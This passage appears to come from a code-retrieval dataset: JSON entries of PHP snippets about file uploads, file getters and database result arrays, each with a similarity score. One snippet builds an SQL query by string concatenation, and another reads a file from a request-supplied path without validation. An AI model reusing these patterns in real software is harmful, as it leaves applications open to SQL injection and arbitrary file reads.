upload: $status_description\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Check name:\n\t\t$name = Input::sanitizeLine($name);\n\t\tif( strlen($name) == 0 ){\n\t\t\t$this->status_code = UPLOAD_ERR_NO_FILE;\n\t\t\t$this->status_description = $status_to_description[$this->status_code];\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Check type basic syntax (see RFC 6838 par. 4.2):\n\t\t$type = strtolower($type);\n\t\t$restricted_name_chars = \"[-+!#\\$&^_.a-z0-9]\";\n\t\tif( preg_match(\"/^$restricted_name_chars+\\\\/$restricted_name_chars+\\$/sD\", $type) != 1 ){\n\t\t\t// Invalid MIME type.\n\t\t\t$this->status_code = UPLOAD_ERR_NO_FILE;\n\t\t\t$this->status_description = $status_to_description[$this->status_code];\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Save tmp file:\n\t\t$my_tmp_name = $tmp_name . \"x\";\n\t\ttry {\n\t\t\tmove_uploaded_file($tmp_name, $my_tmp_name);\n\t\t}\n\t\tcatch(ErrorException $e){\n\t\t\tthrow new RuntimeException(\"failed renaming uploaded file\", $e->getCode(), $e);\n\t\t}\n\t\t\n\t\t// Replace in this object:\n\t\t$this->delete();\n\t\t$this->file_name = $name;\n\t\t$this->file_type = $type;\n\t\t$this->file_size = $size;\n\t\t$this->file_tmp = $my_tmp_name;\n\t}", "title": "" }, { "docid": "94b3347572436ee99583c1023addbfb3", "score": "0.6365139", "text": "public function getMyFile()\n {\n return $this->myFile;\n }", "title": "" }, { "docid": "8eb927757f358aa3abf2c3100c2c2dee", "score": "0.634653", "text": "public function get_files()\n {\n return $this->files;\n }", "title": "" }, { "docid": "977ecab48facd812d817432cb5ec3eb6", "score": "0.63149977", "text": "function getFileInformation($file) {\n\t\t$data = dieOnError(stat($file), \"Could not open \\\"\".$file.\"\\\"\");\n\t\treturn array_merge($data, getExtraData($file));\n\t}", "title": "" }, { "docid": "4b0a2e95f39ba31f2dcd768772b88add", "score": "0.6306316", "text": "public function getUploadedFiles()\n\t{\n\t\treturn $this->request->getUploadedFiles();\n\t}", "title": "" }, { "docid": "aef48bd3ab03f2e15eb64e03fb020414", "score": "0.62805706", "text": "public function getFile(): FileAttributes;", "title": "" }, { "docid": "a6604c6cb83a2bf23e138affb35d710e", "score": "0.6278488", "text": "public function getFileType();", "title": "" }, { "docid": "966b3448ff6bbcce7b0b37a242323c8c", "score": "0.62678736", "text": "public function getFiles() { return $this->files; }", "title": "" }, { "docid": "db7153ceeb11fc3de11fff18a5190e50", "score": "0.6257117", "text": "public function getFile(){}", "title": "" }, { "docid": "e81ccaf657fe00df8ce0fc649cfb24c9", "score": "0.625558", "text": "private function getFile(){\n return $this->path.$this->fileName;\n }", "title": "" }, { "docid": "2d91f0dc6a84bf1f6e594fd1c51f6ed1", "score": "0.6223441", "text": "public function fileDetail(){\r\n $param = $this->data;\r\n $uid = $this->uid;\r\n if(!$this->canSee()){\r\n return ['err'=>'无查看权限'];\r\n }\r\n $path = $param['path'];\r\n $name = $param['name'];\r\n $id = $param['id'];\r\n \r\n if($id){\r\n $cond['id'] = $id;\r\n if($uid != 'admin') $cond['uid'] = $uid;\r\n \r\n $datas = db()->select(\"files_edit\",['content','isonline','name'],$cond);\r\n if($datas[0]['content']){\r\n $name = $datas[0]['name'];\r\n $ret['name'] = $name;\r\n $ret['content'] = $datas[0]['content'];\r\n $ret['isonline'] = $datas[0]['isonline'];\r\n }else{\r\n return ['err'=>'文件不存在','v'=>1];\r\n }\r\n }else{\r\n \r\n $root = \"/biyugwv\";\r\n $file = $root . decrypt($param['path'],'filepath');\r\n if(!is_file($file)){\r\n return ['err'=>'文件不存在','v'=>2];\r\n }\r\n $ret['path'] = 'root' . decrypt($param['path'],'filepath');\r\n $ret['name'] = $name;\r\n $f = fopen($file,'r');\r\n $content = fread($f,filesize($file));\r\n $ret['content'] = $content;\r\n $ret['isonline'] = 1;\r\n\r\n fclose($f);\r\n }\r\n $ret['ext'] = end(explode('.',$name));\r\n return $ret;\r\n }", "title": "" }, { "docid": "cb117166ec6e887a615bf536e5b8c9dc", "score": "0.6208307", "text": "public function get_files() {\n\t\treturn $this->files;\n\t}", "title": "" }, { "docid": "d4be9c1b07b8dbfcc3a77e7b36ba6c0b", "score": "0.61951745", "text": "public function getFileLocation()\r\n {\r\n return $this->file;\r\n }", "title": "" }, { "docid": "7f57f908befdabe5ce434781e95b82a7", "score": "0.61936367", "text": "public function getFilename() {\n return $this->_file;\n }", "title": "" }, { "docid": "3a5c0252c9b0fab0ae49ffefb89eac82", "score": "0.617492", "text": "public static function Files()\n {\n return $_FILES;\n }", "title": "" }, { "docid": "ea5ce647fa1048c75d8b6958fde14431", "score": "0.61713266", "text": "public function getFile()\n\t{\n\t\tif(!isset($this->_file))\n\t\t{\n\t\t\t$this->setUrlElements();\n\t\t}\n\t\treturn $this->_file;\n\t}", "title": "" }, { "docid": "45f63b19656ae96a9626bf62eb458d2b", "score": "0.61596644", "text": "public function getMediaFile()\n {\n return $this->mediaFile;\n }", "title": "" }, { "docid": "5bbf10d0ab551af71121f110101b1aa9", "score": "0.6156894", "text": "function getSize()\n {\n return $_FILES['file']['size'];\n }", "title": "" }, { "docid": "ecdf863e9428497239968ec59b4fb86f", "score": "0.61521864", "text": "function getFile($file) {\n\t\treturn $this->original;\n\t}", "title": "" }, { "docid": "e88e4852a13bed84433b7785a8b1d93b", "score": "0.6141223", "text": "public function getMediaFile()\r\n {\r\n return $this->mediaFile;\r\n }", "title": "" }, { "docid": "50f6e6020c8853b5a22e5b676f9c2b5a", "score": "0.614004", "text": "static function getFileInfo($fileId)\n {\n $db = Zend_Db_Table_Abstract::getDefaultAdapter();\n $sql = $db->select()->from(Hal_Document_File::TABLE, [\n 'SEND',\n 'ARCHIVED'\n ])->where('FILEID = ?', $fileId);\n\n return $db->fetchRow($sql);\n }", "title": "" }, { "docid": "2652763808f52cd778253961b53e8534", "score": "0.61311466", "text": "function getFile($id) {\n\t\tif (isset($this->data['DATA_FILES'][$id]))\n\t\t\treturn $this->data['DATA_FILES'][$id];\n\t\treturn null;\n\t}", "title": "" }, { "docid": "ea18d87773f4e0bd7e9a190ea1655fa7", "score": "0.6120366", "text": "public function getFileForThumbnail()\n {\n return $this->_sSourceFile;\n }", "title": "" }, { "docid": "0afbd6a16366749b59d26d58d76cc6dd", "score": "0.6119552", "text": "public function getUploadedName(): string\n\t{\n\t\treturn $this->targetFileName;\n\t}", "title": "" }, { "docid": "dee98bab4149e7c563c0f715d2946628", "score": "0.6119481", "text": "public function getFilesInfo()\n\t{\n\t\t$files = array();\n\n\t\tif (!$this->okt->news->config->files['enable']) {\n\t\t\treturn $files;\n\t\t}\n\n\t\t$files_array = array_filter((array)unserialize($this->files));\n\n\t\t$j=1;\n\t\tfor ($i=1; $i<=$this->okt->news->config->files['number']; $i++)\n\t\t{\n\t\t\tif (!isset($files_array[$i]) || empty($files_array[$i]['filename'])\n\t\t\t\t|| !file_exists($this->okt->news->upload_dir.'files/'.$files_array[$i]['filename']))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$mime_type = files::getMimeType($this->okt->news->upload_dir.'files/'.$files_array[$i]['filename']);\n\n\t\t\t$files[$j++] = array_merge(\n\t\t\t\tstat($this->okt->news->upload_dir.'files/'.$files_array[$i]['filename']),\n\t\t\t\tarray(\n\t\t\t\t\t'url' => $this->okt->news->upload_url.'files/'.$files_array[$i]['filename'],\n\t\t\t\t\t'filename' => $files_array[$i]['filename'],\n\t\t\t\t\t'title' => $files_array[$i]['title'],\n\t\t\t\t\t'mime' => $mime_type,\n\t\t\t\t\t'type' => util::getMediaType($mime_type),\n\t\t\t\t\t'ext' => pathinfo($this->okt->news->upload_dir.'files/'.$files_array[$i]['filename'],PATHINFO_EXTENSION)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\treturn $files;\n\t}", "title": "" }, { "docid": "936949ce1323fc817846c3e39be56b20", "score": "0.611617", "text": "function file_info()\n\t{\n\t\tif ( ! $this->cp->allowed_group('can_access_content') OR ! $this->cp->allowed_group('can_access_files'))\n\t\t{\n\t\t\tshow_error($this->lang->line('unauthorized_access'));\n\t\t}\n\n\t\t$this->output->enable_profiler(FALSE);\n\t\t$this->load->helper(array('file', 'html'));\n\n\t\t$this->load->library('encrypt');\n\t\t$file = $this->encrypt->decode(rawurldecode($this->input->get_post('file')), $this->session->sess_crypt_key);\n\n\t\t$file_info = get_file_info($file, array('name', 'size', 'fileperms'));\n\n\t\tif ( ! $file_info)\n\t\t{\n\t\t\texit($this->lang->line('no_file'));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$file_type = get_mime_by_extension($file);\n\t\t\t$where = str_replace(str_replace(SYSDIR.'/', '', BASEPATH), '', substr($file, 0, strrpos($file, '/')).'/');\n\n\t\t\t$output = '<ul>';\n\n\t\t\t$output .= '<li class=\"file_name\">'.$file_info['name'].'</li>';\n\t\t\t$output .= '<li><span>'.$this->lang->line('size').':</span> '.number_format($file_info['size']/1000, 1).'KB</li>';\n\n\t\t\tif ($file_type != FALSE)\n\t\t\t{\n\t\t\t\t$output .= '<li><span>'.$this->lang->line('kind').':</span> '.$file_type.'</li>';\n\t\t\t}\n\n\t\t\t$output .= '<li><span>'.$this->lang->line('where').':</span> '.$where.'</li>';\n\t\t\t$output .= '<li><span>'.$this->lang->line('permissions').':</span> '.symbolic_permissions($file_info['fileperms']).'</li>';\n\t\t\t$output .= '</ul>';\n\n//\t\t\t$output .= '<div id=\"file_tags\"></div>'; // not currently used, but in there for potential future compatibility\n\n\t\t\texit($output);\n\t\t}\n\t}", "title": "" }, { "docid": "f601ea5f447c9b926ad9a043cd4fd29d", "score": "0.6112509", "text": "function info() {\n\t\tif ($this->info == null) {\n\t\t\t$this->info = pathinfo ( $this->path );\n\t\t}\n\t\tif (! isset ( $this->info ['filename'] )) {\n\t\t\t$this->info ['filename'] = $this->name ();\n\t\t}\n\t\treturn $this->info;\n\t}", "title": "" }, { "docid": "45d1797f9f17d67d7e29abb2a5defdcf", "score": "0.6104398", "text": "public function getUploadName(){\n return $this->uploadName;\n }", "title": "" }, { "docid": "e504899163f71b18b8d4a5597d2c545d", "score": "0.61015207", "text": "public function GetSubmittedValue() {\n\t\treturn $_FILES[$this->GetName()];\n\t}", "title": "" }, { "docid": "35bec942ab61dce7113ac16440db5d1b", "score": "0.6098626", "text": "function GetNewsDetailsFromFile($file_id)\n\t{\t\n\t\t$sql = \"select * from upload_files where file_id='\".$file_id.\"'\";\n\t\t$data = CDBCon::GetInstance()->GetRow($sql);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "7bd00dc4f66486a9e2d6a5a01b7fe092", "score": "0.6091734", "text": "function GetUploadFileData($name) {\n\t\tif ($this->IsUploadedFile($name)) {\n\t\t\t$wrkname = $this->GetIndexedName($name);\n\t\t\treturn ew_ReadFile($_FILES[$wrkname][\"tmp_name\"]);\n\t\t} else {\n\t\t\treturn NULL;\n\t\t}\n\t}", "title": "" }, { "docid": "338ded54f60022fc5543865dbcfb7490", "score": "0.6083602", "text": "public function getFilePath()\n {\n return $this->file_path;\n }", "title": "" }, { "docid": "338ded54f60022fc5543865dbcfb7490", "score": "0.6083602", "text": "public function getFilePath()\n {\n return $this->file_path;\n }", "title": "" }, { "docid": "d27335dec517f2baba0d7ee49fffd14c", "score": "0.6079634", "text": "public function getFileContents()\n {\n return $this->file_contents;\n }", "title": "" }, { "docid": "b009b38d7f80858963995997da4aa9eb", "score": "0.6078253", "text": "public function getPostedFileDetails($myvalues, $newbasename, $fieldname='protocolfile')\n {\n $details = array();\n try\n {\n if(!isset($myvalues[$fieldname]) || $myvalues[$fieldname] == '')\n {\n $details['file']=NULL;\n $details['rawfilename']=NULL;\n $details['newfilename']=NULL;\n $details['filetype']=NULL;\n $details['filesize']=NULL;\n $details['file_blob']=NULL;\n $details['fid']=NULL;\n } else {\n $details['file']=$myvalues[$fieldname];\n $details['rawfilename'] = $details['file']->filename;\n $fileinfo = pathinfo($details['rawfilename']);\n $details['newfilename'] = $newbasename\n .'-v'.$myvalues['version']\n .'.'.$fileinfo['extension'];\n $details['filetype'] = strtoupper($fileinfo['extension']);\n $details['filesize']=$details['file']->filesize;\n $details['fid'] = $details['file']->fid;\n\n //Load the raw file blob object\n $fileuri = $details['file']->uri;\n $filepath = drupal_realpath($fileuri);\n $fp = fopen($filepath, 'r');\n $rawfilesize = filesize($filepath);\n $rawcontent = fread($fp, $rawfilesize);\n $details['file_blob'] = $rawcontent; //No need for mysqli_real_escape_string if we bind on write!\n fclose($fp); \n }\n } catch (\\Exception $ex) {\n error_log(\"Failed ProtocolLibPageHelper->getPostedFileDetails because \".$ex->getMessage()\n . \"\\n<br>Stack trace...<br>\".Context::debugGetCallerInfo(5));\n throw $ex;\n }\n return $details;\n }", "title": "" }, { "docid": "87a256025885f05f3ad5e0a616a038cb", "score": "0.6070267", "text": "public function getName()\n {\n return $this->uploaded_file_name;\n }", "title": "" }, { "docid": "0bf24cb6739612f4e364528be8d69f21", "score": "0.6065677", "text": "public function getFilePath()\n {\n return $this->_file_path;\n }", "title": "" }, { "docid": "a58f190f84252eb902ff1ad2c327e47e", "score": "0.6063883", "text": "public function getFileID()\n {\n return $this->file_id;\n }", "title": "" }, { "docid": "a58f190f84252eb902ff1ad2c327e47e", "score": "0.6063883", "text": "public function getFileID()\n {\n return $this->file_id;\n }", "title": "" }, { "docid": "42f7a5725d4ae414c58e3493cc81799f", "score": "0.60611886", "text": "public function getFiles() {\n return $this->files;\n }", "title": "" }, { "docid": "7409c1e60c07cce000a5d9e1fceb7fee", "score": "0.6060532", "text": "public static function getFile(){\n\t\treturn static::$File;\n\t}", "title": "" }, { "docid": "a60116bbdcfb0bf0ade07bc72c30cfb7", "score": "0.60569745", "text": "public function getFile($name = null) {\n if(!$name) $name = $this->input->get('name', 'string');\n if(!$this->files) return;\n return $this->files->get($name);\n }", "title": "" }, { "docid": "e485f1e57cac088e48fb1b0726df0c5f", "score": "0.60555947", "text": "public function data()\n\t{\n\t\treturn array (\n\t\t\t'fileName'\t\t\t=> $this->fileName,\n\t\t\t'fileType'\t\t\t=> $this->fileType,\n\t\t\t'filePath'\t\t\t=> $this->uploadPath,\n\t\t\t'fullPath'\t\t\t=> $this->uploadPath . $this->fileName,\n\t\t\t'rawName'\t\t\t=> str_replace($this->fileExt, '', $this->fileName),\n\t\t\t'origName'\t\t\t=> $this->origName,\n\t\t\t'clientName'\t\t=> $this->clientName,\n\t\t\t'fileExt'\t\t\t=> $this->fileExt,\n\t\t\t'fileSize'\t\t\t=> $this->fileSize,\n\t\t\t'isImage'\t\t\t=> $this->isImage(),\n\t\t\t'imageWidth'\t\t=> $this->imageWidth,\n\t\t\t'imageHeight'\t\t=> $this->imageHeight,\n\t\t\t'imageType'\t\t=> $this->imageType,\n\t\t\t'imageSizeStr'\t=> $this->imageSizeStr\n\t\t);\n\t}", "title": "" }, { "docid": "4f5ef91b96a32b1f50ae06ba9dab43c2", "score": "0.6055386", "text": "public function getPictureFile()\n {\n return $this->pictureFile;\n }", "title": "" }, { "docid": "60e0a907a0eabca7faecbcfc80d9cf09", "score": "0.6051575", "text": "public function getUploaded() {\n return Business::where('status', \"uploaded\")->get();\n }", "title": "" }, { "docid": "0cfe92b83e6da1a3d6d1db5bf42e62f9", "score": "0.60497147", "text": "public function getFileId()\n {\n return $this->file_id;\n }", "title": "" } ]
f01dc0521f4a37669b7ca831f00daa1d
Get a result row as an enumerated array
[ { "docid": "f19172a3bd8c0321b75221596481cf6f", "score": "0.0", "text": "function &fieldFlags(&$resource, $field_offset=0) { return mysql_field_flags($resource, $field_offset); }", "title": "" } ]
[ { "docid": "e441866cd002a9f2de1c6279820221bf", "score": "0.70496583", "text": "function row_array() {\n\t\t$row = $this->row();\n\t\treturn ($row !== FALSE)? (array) $row : FALSE;\n\t}", "title": "" }, { "docid": "a04eb36ea1454f7ce9ccb7751154a6eb", "score": "0.6930825", "text": "public function row_array() {\n\t\treturn $this->current();\n\t}", "title": "" }, { "docid": "1c92af8f0d9011686e999fef73c4c7f7", "score": "0.6884468", "text": "public function resultsAsArray();", "title": "" }, { "docid": "4a4636788837213e9317d7bacd7b92b3", "score": "0.6847221", "text": "function resultrowarray($res,$onlyTheseColumns=array()){\n\t$arr = array();\n\tfor ($i = 0; $i < rows($res); $i++){\n\t\t$arr[] = resultrow_HELPER($res,$i,$onlyTheseColumns);}\n\treturn $arr;}", "title": "" }, { "docid": "be0b2181f183ff9be2c36d782c430261", "score": "0.6838976", "text": "function get_array($result) {\r\n\t\t$rows = $this->row_count;\r\n\t\tif ($rows >= 1) {\r\n\t\t\tfor ($i=1; $i<=$rows; $i++) {\r\n\t\t\t\t$array_data[] = $this->get_row($result);\r\n\t\t\t}\r\n\t\t\treturn $array_data;\r\n\t\t} else {\r\n\t\t\treturn array();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "2641e4151f4a9d099d7f4c625f43449e", "score": "0.67874014", "text": "function resultToArray($result) {\r\n $rows = array();\r\n while($row = $result->fetch_assoc()) {\r\n $rows[] = $row;\r\n }\r\n return $rows;\r\n }", "title": "" }, { "docid": "946308e6a1468e7a1b620be0738d21ab", "score": "0.67777455", "text": "public function getRows() : array;", "title": "" }, { "docid": "8aee50661914d72035586940850ce1db", "score": "0.67755914", "text": "function get_array(){\t\t\n\t\treturn $this->statement->get_result()->fetch_assoc();\n }", "title": "" }, { "docid": "7e6320d0317bcd8c8c3a2c42988c5b5e", "score": "0.67407703", "text": "function convert_to_array( $result ){\n $resultArray = array();\n\n for( $count=0; $row = $result->fetch_assoc(); $count++ ) {\n $resultArray[$count] = $row;\n }\n\n return $resultArray;\n }", "title": "" }, { "docid": "60afeec8e3a275f850dc953844b43cd3", "score": "0.6718283", "text": "function resultToArray($result) {\n $rows = array();\n while($row = $result->fetch_assoc()) {\n $rows[] = $row;\n }\n return $rows;\n }", "title": "" }, { "docid": "09b60aae263de5159752fdd8e245b861", "score": "0.6656175", "text": "function convertToArray( $result ){ \n \t$resultArray = array(); \n\n \tfor( $count=0; $row = $result->fetch_assoc(); $count++ ) { \n \t\t$resultArray[$count] = $row; \n \t} \n\n \treturn $resultArray; \n }", "title": "" }, { "docid": "6c09e830ef8698443956a30ffe6b69c3", "score": "0.6613695", "text": "function resultToAssocArray($result) {\n $rows = array();\n while($r = mysqli_fetch_assoc($result)) {\n $rows[] = $r;\n }\n return $rows;\n}", "title": "" }, { "docid": "e380f6c4f1cbb326390d99c8914ba5f4", "score": "0.660059", "text": "public function getResultsetAsArray() {\r\n\t\r\n\t\t\treturn $this->result;\r\n\t\t\t\r\n\t\t\t/*\r\n\t\t\t$rows = array();\r\n\t\t\t$offset = $this->result->current_field;\r\n\t\t\t$this->result->data_seek(0);\r\n\t\t\twhile ($row = $this->result->fetch_assoc())\r\n\t\t\t\t$rows[] = $row;\r\n\t\t\t$this->result->data_seek($offset);\r\n\t\t\t\r\n\t\t\treturn $rows;\r\n\t\t\t*/\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "5ece0558e38612bacdfc5b63194ea1d0", "score": "0.658626", "text": "abstract public function toArray ($result): array;", "title": "" }, { "docid": "9fb26947f3f0587ab765c81baffbedf2", "score": "0.6585028", "text": "public function getRow(): array\n {\n return (array)$this->item->getRecord();\n }", "title": "" }, { "docid": "3e1bb699434f9adf14d64e1a3b8760af", "score": "0.6578258", "text": "function generate_array($result_object) {\n $i = 0;\n\twhile ($row = $result_object->fetchRow()) { \n\t\t$result_array[$i] = $row[0];\n $i++;\n\t}\n \n return $result_array;\n}", "title": "" }, { "docid": "065ffa675b448c36806e4afd4193d85a", "score": "0.6575867", "text": "function get_array($result){\n\t\t\treturn $result->fetch_array(MYSQLI_ASSOC);\n\t\t}", "title": "" }, { "docid": "036be30ba9b8fd405be876aa0484d939", "score": "0.6551474", "text": "public function getResultArray() {\r\n\t\treturn pg_fetch_array($this->getResult());\r\n\t}", "title": "" }, { "docid": "93215e403d8f051daf9c8687f510b369", "score": "0.6535021", "text": "public static function getRows($result)\n\t{\t\n\t\tif (!is_string($result)) {\n\t\t\t$data = array();\n\t\t\twhile($row = $result->fetch_assoc())\n\t\t\t { $data[] = $row; }\n\t\t\treturn $data;\n\t\t}\n\t\telse\n\t\t { return -1; }\n\t}", "title": "" }, { "docid": "cb27bb3b21edce2a07aab2449433d966", "score": "0.65313333", "text": "public function arfetch($row);", "title": "" }, { "docid": "a61ce521633466d79aea917bb895ab0b", "score": "0.6530872", "text": "public function row() {\n return $this->__row = pg_fetch_assoc($this->__res);\n }", "title": "" }, { "docid": "94209c30a59817bf19c8d4c221948692", "score": "0.6520617", "text": "function resultsAsArray($result) {\n $arr = array();\n while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {\n $arr[] = $line;\n }\n\n // free resultset\n pg_free_result ($result);\n\n return $arr;\n }", "title": "" }, { "docid": "8751d7977eec87bf593383e03c90ee58", "score": "0.64917505", "text": "public function toArray()\n\t\t{\n\t\t\treturn $this->dataSet->row;\n\t\t}", "title": "" }, { "docid": "df0c9054b0ff3d8ce37cb735ef36a3ae", "score": "0.64894235", "text": "public function fetch_row() {\n return $this->fetch_array(MYSQLI_NUM);\n }", "title": "" }, { "docid": "5187b57da761b310a2c2f90c3cf852fe", "score": "0.64736784", "text": "function fetchArray($rs) {\n return @mysql_fetch_array($rs);\n }", "title": "" }, { "docid": "afdd760230d4072cd1dfe7123155f44f", "score": "0.6471349", "text": "function Do_array() {\n $ar = ibase_fetch_row($this->respointer, IBASE_TEXT);\n return(($ar) ? $ar : false);\n }", "title": "" }, { "docid": "61af1505cd1cc3cdd199e657aab13717", "score": "0.64693904", "text": "public function result_array(): array\n {\n return $this->result->getResultArray();\n }", "title": "" }, { "docid": "b6e2d34cca39a34af72bf7265647c14b", "score": "0.6452868", "text": "function db_result_to_array($result)\n\t{\n\t\t$res_array = array();\n\t\t\n for ($count=0; $row = mysql_fetch_array($result); $count++)\n {\n $res_array[$count] = $row;\n }\n\t \n\t\treturn $res_array;\n\t\t\n\t}", "title": "" }, { "docid": "e7fef6aff4887550f0f145b2de1087ee", "score": "0.6452059", "text": "public static function getRows2($result)\n\t{\t\n\t\tif (!is_string($result)) {\n\t\t\t$data = array();\n\t\t\twhile($row = $result->fetch_assoc())\n\t\t\t { $data = array_push($data, $row); }\n\t\t\treturn $data;\n\t\t}\n\t\telse\n\t\t { return -1; }\n\t}", "title": "" }, { "docid": "08b0e70f8e9fd14862755028a36be0be", "score": "0.6449268", "text": "public function getOneRowArrayFromSqlResult($result, $row=0) {\n\t\t$result->data_seek($row);\n\t\treturn $result->fetch_assoc();\n\t}", "title": "" }, { "docid": "4db9f8c9db44ab9bb5f9ed6bc17aaede", "score": "0.6432851", "text": "public function asRow(): ?array;", "title": "" }, { "docid": "d9d674cc72c81bdacbbd8f9b778a712c", "score": "0.64231604", "text": "public function getRows () {}", "title": "" }, { "docid": "cf3c2c5afce21fdfe68d19818012caef", "score": "0.64175904", "text": "public abstract function fetchRow () : ?array;", "title": "" }, { "docid": "3673def56001def205c532173b3f02c9", "score": "0.6396415", "text": "abstract protected function _resultArray(): array;", "title": "" }, { "docid": "0bd12019ecc2aa125fe90ebb08eb1f68", "score": "0.63953876", "text": "public function resultToArray($result)\n\t\t{\n\t\t\t$resArray = array();\n\t\t\tfor ($count=0; $row = $result->fetch_assoc(); $count++) { \n\t\t\t\t$resArray[$count] = $row;\n\t\t\t}\n\t\t\treturn $resArray;\n\t\t}", "title": "" }, { "docid": "7a6efbd3363e739cdb7e7583bbd36756", "score": "0.6390951", "text": "function fetch_array($rs)\r\n\t{\r\n\t\t$result = pg_fetch_array($rs);\r\n\t\treturn $result;\r\n }", "title": "" }, { "docid": "5bcddfd58b1340709bf50e1129b61120", "score": "0.6384457", "text": "function dbResultToArray($result) {\n $resArray = array();\n while ($row = mysql_fetch_assoc($result)) {\n $resArray[] = $row;\n }\n return $resArray;\n}", "title": "" }, { "docid": "21366e58cafc5896b202583c981d5287", "score": "0.6383377", "text": "protected function fetchRowInternal()\n\t{\n\t\treturn sqlsrv_fetch_array($this->resource, SQLSRV_FETCH_ASSOC);\n\t}", "title": "" }, { "docid": "880db9580483ed0c05da4af6f1e659a1", "score": "0.6380876", "text": "public function row_array(int $n = 0)\n {\n return $this->result->getRowArray($n);\n }", "title": "" }, { "docid": "d32b0490bd37622abc58136aa581e63d", "score": "0.6373213", "text": "public function row_array($n = 0)\n\t{\n\t\t$result = $this->result_array();\n\t\n\t\tif (count($result) == 0)\n\t\t{\n\t\t\treturn $result;\n\t\t}\n\t\n\t\tif ($n != $this->_current_row && isset($result[$n]))\n\t\t{\n\t\t\t$this->_current_row = $n;\n\t\t}\n\t\n\t\treturn $result[$this->_current_row];\n\t}", "title": "" }, { "docid": "4a33abd9a2b289d3d12c8ca20d85463d", "score": "0.6366475", "text": "function fetch_array($result)\r\n\t{\r\n\t\treturn @mysql_fetch_assoc($result);\r\n\t}", "title": "" }, { "docid": "282cbbdf7f3d0a12b8b4159ce323e110", "score": "0.636241", "text": "function fetchResult() {\n\t\tif ($row = mysqli_fetch_row($this->results)) {\n\t\t\t$resultRow = array();\n\t\t\t$i = 0;\n\t\t\tforeach ($row as $index => $field) {\n\t\t\t\t@list($table, $column) = $this->map[$index];\n\t\t\t\t$resultRow[$table][$column] = $row[$index];\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\treturn $resultRow;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "631d0f9ffc4f4a68de77dd725d13278d", "score": "0.634977", "text": "static function resultToArray($result){\n\t\treturn $result->fetchAll(\\PDO::FETCH_ASSOC);\n\t}", "title": "" }, { "docid": "9cb2c84eed73dbc67b74c870c61d54c8", "score": "0.6343206", "text": "public function getRow(): array\r\n {\r\n return $this->request(1, 1)->getRowsAsArray()[0];\r\n }", "title": "" }, { "docid": "b0d1ed0f94d919de392ac44693320c83", "score": "0.63424456", "text": "function FetchArray () {\n\t\treturn @mysql_fetch_array($this -> result);\n\t}", "title": "" }, { "docid": "22c8329b1befbd4bfad0fa9ccee43946", "score": "0.63382417", "text": "function getRowAsArray($query){ //echo $query;\r\r\n\t\tif ($result = $this->CI->db->query($query)) {\r\r\n\t\t\t# turn the result into an array\r\r\n\t\t\t\r\r\n\t\t\treturn $result->row_array();\r\r\n\t\t} else {\r\r\n\t\t\t$this->error_msg = \"An error occured while executing the query. Please try again later.\";\r\r\n\t\t\t# TODO: Log the query and error message \r\r\n\t\t\treturn false;\r\r\n\t\t}\r\r\n\t}", "title": "" }, { "docid": "5638a63d434395d7d58e2bc5f583e8a3", "score": "0.63156915", "text": "public function toArray() {\n \n $return = array();\n foreach ($this as $row) {\n $return[] = $row;\n }\n // be kinds, please rewind\n $this->rewind();\n return $return;\n \n }", "title": "" }, { "docid": "071d1302878647611f271578bda3e3e5", "score": "0.63126945", "text": "public function sqlFetchArray($res)\n {\n $row = mysql_fetch_assoc($res);\n return $row;\n }", "title": "" }, { "docid": "68a2c1a248ae4adc94f77073f2aa8df6", "score": "0.63093257", "text": "function iimysqli_result_fetch_array(&$result) {\n if (!is_a($result, \"iimysqli_result\")) {\n return mysqli_fetch_array($result);\n }\n $stmt = $result->stmt;\n //$stmt->store_result();\n /*$resultkeys = array();\n $thisName = \"\";\n for ( $i = 0; $i < $stmt->num_rows; $i++ ) {\n $metadata = $stmt->result_metadata();\n while ( $field = $metadata->fetch_field() ) {\n $thisName = $field->name;\n $resultkeys[] = $thisName;\n }\n }*/\n $resultkeys = array();\n $thisName = \"\";\n $metadata = $stmt->result_metadata();\n //echo var_dump($metadata);\n while ( $field = $metadata->fetch_field() ) {\n $thisName = $field->name;\n $resultkeys[] = $thisName;\n }\n\n $ret = array();\n\n $code = \"return mysqli_stmt_bind_result(\\$result->stmt \";\n //echo \"\\nNcols:\".$result->ncols;\n //echo \"\\nnum_rows\".$stmt->num_rows;\n //echo \"\\n\".var_dump($resultkeys);\n for ($i=0; $i<$result->ncols; $i++) {\n //$ret[$i] = NULL; // TODO ! check with JZ when this statement is usefull\n $theValue = $resultkeys[$i];\n $code .= \", \\$ret['$theValue']\";\n }\n\n $code .= \");\";\n //echo \"\\ncode:\".$code;\n if (!eval($code)) { \n return NULL; \n }\n\n // This should advance the \"$stmt\" cursor.\n if (!mysqli_stmt_fetch($result->stmt)) { \n return NULL; \n }\n\n // Return the array we built.\n return $ret;\n }", "title": "" }, { "docid": "c3655fc4308337da8dbda644f1bacbcb", "score": "0.6303309", "text": "public function fetch_array($res)\n {\n return mysqli_fetch_array($res);\n }", "title": "" }, { "docid": "95bba54535bf9e649f2b4581f573bb1e", "score": "0.63021916", "text": "public function fetchRow()\n {\n if( empty($this->query) )\n {\n return [];\n }\n\n return $this->query->fetch_row();\n }", "title": "" }, { "docid": "4c2aca6e42523e8b245f489c78b97080", "score": "0.62931365", "text": "function fetchRowsAsAssocArray($sql) \n {\n mjlog(DEBUG,__METHOD__,$sql,__LINE__);\n $data = array();\n if (!($rez = $this->query($sql)))\n {\n mjlog(WARNING,__METHOD__,\"Query failed, returning!! sql[$sql]\",__LINE__);\n return $data;\n }\n while ($row = $this->fetchAssoc($rez)) $data[] = $row;\n return $data;\n }", "title": "" }, { "docid": "79a9170676074708a53c783d8021feb3", "score": "0.62895113", "text": "public function fetchArray()\n {\n if ($this->_numRows == 0 || $this->_numRows == $this->_seekIndex) {\n return false;\n }\n return $this->_internalResult[$this->_seekIndex++];\n }", "title": "" }, { "docid": "75eff7bfe9c978a5232f48011cb057ab", "score": "0.6279758", "text": "function 